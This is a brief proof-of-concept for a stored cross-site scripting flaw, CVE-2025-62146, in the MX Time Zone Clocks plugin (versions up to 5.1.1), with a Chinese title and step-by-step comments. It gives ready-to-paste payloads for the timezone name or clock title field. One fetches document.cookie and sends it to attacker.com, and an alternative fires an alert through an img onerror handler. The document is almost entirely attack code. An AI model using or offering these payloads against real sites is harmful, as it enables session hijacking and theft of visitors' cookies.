CVE-2025-62146 MX Time Zone Clocks插件存储型XSS漏洞

// CVE-2025-62146 Stored XSS PoC for MX Time Zone Clocks Plugin // This PoC demonstrates the stored XSS vulnerability in MX Time Zone Clocks <= 5.1.1 // Step 1: Identify the vulnerable parameter // The vulnerability exists in the timezone name field of the MX Time Zone Clocks widget // Step 2: Inject malicious JavaScript payload // In the timezone name or clock title field, inject: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Alternative payload for testing: const altPayload = '<img src=x onerror="alert(document.domain)">'; // Step 3: Save the configuration // The payload is stored in the database and executed on page load // Step 4: Verification // Visit the page containing the clock widget to trigger the XSS console.log('PoC for CVE-2025-62146: Stored XSS in MX Time Zone Clocks');